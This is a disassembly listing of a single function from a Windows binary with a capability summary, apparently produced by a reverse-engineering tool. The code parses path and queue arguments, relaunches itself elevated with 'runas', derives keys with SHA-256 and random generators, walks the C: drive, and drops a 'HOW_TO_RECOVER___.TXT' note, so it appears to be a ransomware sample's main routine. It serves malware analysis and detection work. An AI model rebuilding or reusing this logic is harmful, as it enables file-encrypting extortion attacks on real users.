Function at 0x1400079b8
Capabilities:
Accept command line arguments
Check if file exists
Create new key via cryptacquirecontext
Create process on windows
Create thread
Encode data using xor
Generate random numbers using a mersenne twister
Generate random numbers via winapi
Hash data using sha256
Terminate thread

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x2d8]
sub rsp, 0x3b0
mov rax, qword [0x140053010]
xor rax, rsp
mov qword [rbp + 0x2a0], rax
xor ebx, ebx
mov rsi, rcx
mov qword [rsp + 0x48], rbx
mov r15b, bl
mov qword [rsp + 0x40], rbx
mov byte [rsp + 0x30], bl
mov dword [rsp + 0x50], ebx
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rcx, rax
lea rdx, [rsp + 0x50]
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
lea r14d, [rbx + 1]
mov r12, rax
test rax, rax
je 0x140007d9a
mov r13d, r14d
cmp dword [rsp + 0x50], r14d
jle 0x140007d91
lea r14d, [rbx + 2]
lea rdi, [rax + 8]
mov rcx, qword [rdi]
lea rdx, [0x14004b844]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x140007a65
cmp dword [rsp + 0x50], r14d
jl 0x140007a65
lea rcx, [rsp + 0x48]
jmp 0x140007abf
mov rcx, qword [rdi]
lea rdx, [0x14004b850]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x140007a9f
cmp dword [rsp + 0x50], r14d
jl 0x140007a9f
mov rdx, qword [rdi + 8]
lea r8, [0x14004b84c]
lea rcx, [rsp + 0x40]
call fcn.1400214a0
mov byte [rsp + 0x30], 1
jmp 0x140007b4c
mov rcx, qword [rdi]
lea rdx, [0x14004b858]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x140007ad1
cmp dword [rsp + 0x50], r14d
jl 0x140007ad1
lea rcx, [rsp + 0x40]
mov rdx, qword [rdi + 8]
lea r8, [0x14004b84c]
call fcn.1400214a0
jmp 0x140007b4c
mov rcx, qword [rdi]
lea rdx, str._path
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x140007b28
cmp dword [rsp + 0x50], r14d
jl 0x140007b28
mov rax, qword [rsi + 8]
lea r8, [rdi + 8]
cmp rax, qword [rsi + 0x10]
je 0x140007b1b
mov rdx, qword [r8]
mov rcx, rax
mov qword [rax], rbx
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 7
call fcn.140009818
add qword [rsi + 8], 0x20
jmp 0x140007b4c
mov rdx, rax
mov rcx, rsi
call fcn.14000a104
jmp 0x140007b4c
mov rcx, qword [rdi]
lea rdx, str._queue
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x140007b4c
cmp dword [rsp + 0x50], r14d
jl 0x140007b4c
mov rcx, qword [rdi + 8]
call fcn.140021d38
mov rcx, qword [rdi]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x140007fe2
xor r15d, r15d
mov qword [rsp + 0x38], r15
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rsp + 0x38]
lea edx, [r15 + 8]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140007bb0
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x7c]
lea r9d, [r15 + 4]
mov qword [rsp + 0x20], rax
lea r8, [rbp - 0x80]
mov dword [rsp + 0x7c], 4
lea edx, [r15 + 0x14]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
cmovne ebx, dword [rbp - 0x80]
mov rcx, qword [rsp + 0x38]
test rcx, rcx
je 0x140007bc0
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
jne 0x140007d36
xor edx, edx
lea rcx, [rbp + 0x10]
mov r8d, 0xf8
call fcn.14001c3e0
lea rcx, [rbp + 0x10]
call fcn.140009138
lea r15d, [rbx + 1]
cmp dword [rsp + 0x50], r15d
jle 0x140007c23
lea rbx, [r12 + 8]
lea rcx, [rbp + 0x20]
call fcn.14000a448
mov rdx, qword [rbx]
mov rcx, rax
call fcn.14000a6b4
mov rcx, rax
lea rdx, [0x14004b8d4]
call fcn.14000a6b4
inc r15d
lea rbx, [rbx + 8]
cmp r15d, dword [rsp + 0x50]
jl 0x140007bf2
mov eax, dword [rbp + 0x98]
xor ebx, ebx
and al, 0x22
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x68], rbx
mov qword [rsp + 0x70], 7
cmp al, 2
je 0x140007c6b
mov rax, qword [rbp + 0x68]
mov rdx, qword [rax]
test rdx, rdx
je 0x140007c6b
cmp rdx, qword [rbp + 0x90]
mov rax, qword [rbp + 0x48]
cmovb rdx, qword [rbp + 0x90]
mov r9, qword [rax]
sub rdx, r9
jmp 0x140007c97
test byte [rbp + 0x98], 4
jne 0x140007cd3
mov rax, qword [rbp + 0x60]
mov rcx, qword [rax]
test rcx, rcx
je 0x140007cd3
mov rax, qword [rbp + 0x40]
mov r9, qword [rax]
mov rax, qword [rbp + 0x78]
movsxd rdx, dword [rax]
add rdx, rdx
sub rdx, r9
add rdx, rcx
mov rax, r9
sar rdx, 1
test rax, rax
je 0x140007cd3
lea rcx, [rsp + 0x58]
cmp rdx, 7
ja 0x140007cce
lea rbx, [rdx + rdx]
mov qword [rsp + 0x68], rdx
mov r8, rbx
mov rdx, r9
call fcn.14001d300
xor r15d, r15d
mov word [rsp + rbx + 0x58], r15w
xor ebx, ebx
jmp 0x140007cd3
call fcn.14000a898
cmp qword [rsp + 0x70], 8
lea r9, [rsp + 0x58]
mov r8, qword [r12]
lea rdx, str.runas
cmovae r9, qword [rsp + 0x58]
xor ecx, ecx
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], rbx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
lea rcx, [rsp + 0x58]
call fcn.1400097b4
lea rcx, [rbp + 0xa8]
call fcn.140009054
lea rax, vtable.std::ios_base.0
lea rcx, [rbp + 0xa8]
mov qword [rbp + 0xa8], rax
call fcn.14001b880
jmp 0x140007d38
xor ebx, ebx
mov rax, qword [rsi + 8]
cmp rax, qword [rsi + 0x10]
je 0x140007d63
mov rdx, qword [rdi]
mov rcx, rax
mov qword [rax], rbx
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 7
call fcn.140009818
add qword [rsi + 8], 0x20
jmp 0x140007d71
mov r8, rdi
mov rdx, rax
mov rcx, rsi
call fcn.14000a104
inc r13d
inc r14d
add rdi, 8
cmp r13d, dword [rsp + 0x50]
jl 0x140007a43
mov r15b, byte [rsp + 0x30]
mov r14d, 1
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_LocalFree]
lea rcx, [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
imul ebx, eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, eax
imul ecx, ebx
rdtsc
shl rdx, 0x20
xor edi, edi
or rax, rdx
mov dword [rsp + 0x20], edi
imul eax, dword [rbp - 0x70]
mov r9d, r14d
xor r8d, r8d
xor edx, edx
imul eax, ecx
lea rcx, [rbp - 0x78]
mov dword [rsp + 0x78], eax
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x140007e1b
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x80090016
jne 0x140007e3b
mov r9d, r14d
mov dword [rsp + 0x20], 8
xor r8d, r8d
lea rcx, [rbp - 0x78]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x140007e3b
mov rcx, qword [rbp - 0x78]
lea r8, [rsp + 0x78]
mov edx, 4
call qword [sym.imp.ADVAPI32.dll_CryptGenRandom]
mov rcx, qword [rbp - 0x78]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov eax, dword [rsp + 0x78]
lea r8, [0x140056010]
mov dword [0x140056010], eax
mov edx, r14d
lea eax, [rdx - 1]
movsxd rcx, eax
mov eax, dword [r8 + rcx*4]
shr eax, 0x1e
xor eax, dword [r8 + rcx*4]
imul ecx, eax, 0x6c078965
movsxd rax, edx
add ecx, edx
add edx, r14d
mov dword [r8 + rax*4], ecx
cmp edx, 0x270
jl 0x140007e4f
mov ecx, r14d
mov dword [0x1400569d0], edx
call qword [sym.imp.KERNEL32.dll_SetErrorMode]
movups xmm1, xmmword [0x140053c58]
xor eax, eax
mov byte [rsp + 0x58], 9
xorps xmm0, xmm0
mov qword [rsp + 0x69], rax
movups xmmword [rsp + 0x59], xmm0
lea r8, [rsp + 0x58]
mov dword [rsp + 0x71], eax
movups xmm0, xmmword [0x140053c48]
lea rdx, [rbp + 0x260]
mov word [rsp + 0x75], ax
lea rcx, [0x1400559d8]
mov byte [rsp + 0x77], al
movups xmmword [rbp + 0x260], xmm0
movups xmmword [rbp + 0x270], xmm1
call fcn.1400036c8
lea r8, [0x140053c70]
lea rdx, [rbp + 0x260]
lea rcx, [rbp + 0x280]
call fcn.1400036c8
movups xmm0, xmmword [rbp + 0x280]
mov r9d, 0x20
mov qword [rbp], 0x20
movups xmm1, xmmword [rbp + 0x290]
and r9d, 0x3f
mov dword [rbp - 0x20], 0x6a09e667
mov ecx, r9d
mov dword [rbp - 0x1c], 0xbb67ae85
not ecx
mov dword [rbp - 0x18], 0x3c6ef372
and ecx, 3
mov dword [rbp - 0x14], 0xa54ff53a
lea r8d, [r9 + 3]
shl ecx, 3
shr r8d, 2
mov dword [rbp - 0x10], 0x510e527f
mov dword [rbp - 0xc], 0x9b05688c
mov dword [rbp - 8], 0x1f83d9ab
mov dword [rbp - 4], 0x5be0cd19
movaps xmmword [rbp - 0x60], xmm0
movaps xmmword [rbp - 0x50], xmm1
test r8d, r8d
je 0x140007f9d
lea r10, [rbp - 0x60]
lea r10, [r10 + r8*4]
lea r10, [r10 - 4]
mov eax, dword [r10]
mov edx, eax
ror edx, 8
rol eax, 8
and edx, 0xff00ff00
and eax, 0xff00ff
or edx, eax
mov dword [r10], edx
add r8d, 0xffffffff
jne 0x140007f78
mov r8d, r9d
mov edx, 0xffffff80
shr r8, 2
mov eax, 0x80
shl edx, cl
mov ebx, 0xe
shl eax, cl
and edx, dword [rbp + r8*4 - 0x60]
or edx, eax
mov dword [rbp + r8*4 - 0x60], edx
cmp r9d, 0x38
jae 0x14000805c
shr r9d, 2
add r9d, r14d
cmp r9d, ebx
jae 0x140008094
jmp 0x140008078
movdqa xmm0, xmmword [0x14004ce10]
lea rdx, str.File_not_found_OR_Invalid_argument
lea rcx, [rsp + 0x58]
mov qword [rsp + 0x58], rbx
movdqu xmmword [rsp + 0x68], xmm0
call fcn.140009818
movsxd rax, r13d
mov rdx, qword [r12 + rax*8]
or rax, 0xffffffffffffffff
inc rax
cmp word [rdx + rax*2], bx
jne 0x140008011
mov r8, rax
lea rcx, [rsp + 0x58]
call fcn.140009aec
cmp qword [rsp + 0x70], 8
lea rdx, [rsp + 0x58]
mov r9d, 0x10
lea r8, str.Error
cmovae rdx, qword [rsp + 0x58]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
lea rcx, [rsp + 0x58]
call fcn.1400097b4
jmp 0x1400081b8
mov eax, dword [rbp - 0x24]
cmp r9d, 0x3c
sbb ecx, ecx
and ecx, eax
xor eax, ecx
lea rcx, [rbp - 0x60]
mov dword [rbp - 0x24], eax
call fcn.140003ef4
mov r9d, edi
mov eax, r9d
lea rcx, [rbp - 0x60]
sub ebx, r9d
xor edx, edx
mov r8d, ebx
shl r8, 2
lea rcx, [rcx + rax*4]
call fcn.14001c3e0
mov edx, dword [rbp]
mov ecx, edx
mov eax, dword [rbp + 4]
shr ecx, 0x1d
shl eax, 3
or ecx, eax
lea eax, [rdx*8]
mov dword [rbp - 0x28], ecx
lea rcx, [rbp - 0x60]
mov dword [rbp - 0x24], eax
call fcn.140003ef4
mov edx, edi
lea r9, [0x1400559b0]
mov r8, rdi
mov rax, r8
mov ecx, edx
and eax, 0xf
not ecx
and ecx, 3
add edx, r14d
shl ecx, 3
mov dword [rbp + rax*4 - 0x60], edi
mov rax, r8
shr rax, 2
add r8, r14
mov eax, dword [rbp + rax*4 - 0x20]
shr eax, cl
mov byte [r9], al
add r9, r14
cmp edx, 0x20
jb 0x1400080c6
call fcn.14000bbf8
mov eax, dword [0x140053c68]
lea r8, [rbp + 0x10]
mov dword [rsp + 0x28], eax
lea rcx, str.C:
xor r9d, r9d
mov qword [rsp + 0x20], rdi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov rbx, rax
or rax, 0xffffffffffffffff
cmp rbx, rax
jne 0x140008141
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x140008141
mov dword [0x140053c68], edi
jmp 0x14000814a
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindClose]
lea r8, [0x140055b58]
call fcn.14000533c
xor r9d, r9d
mov qword [rsp + 0x28], rdi
lea r8, [0x140007924]
mov dword [rsp + 0x20], edi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdx, qword [rsp + 0x40]
mov r9, rsi
mov rcx, qword [rsp + 0x48]
mov r8b, r15b
mov rbx, rax
call fcn.1400067dc
lea rcx, str.C:HOW_TO_RECOVER___.TXT
call fcn.140005e6c
xorps xmm0, xmm0
xor edx, edx
mov rcx, rbx
movups xmmword [0x1400559b0], xmm0
movups xmmword [0x1400559c0], xmm0
call qword [sym.imp.KERNEL32.dll_TerminateThread]
call fcn.140007384
mov rcx, rsi
call fcn.1400096f0
mov rcx, qword [rbp + 0x2a0]
xor rcx, rsp
call fcn.14001a000
lea r11, [rsp + 0x3b0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret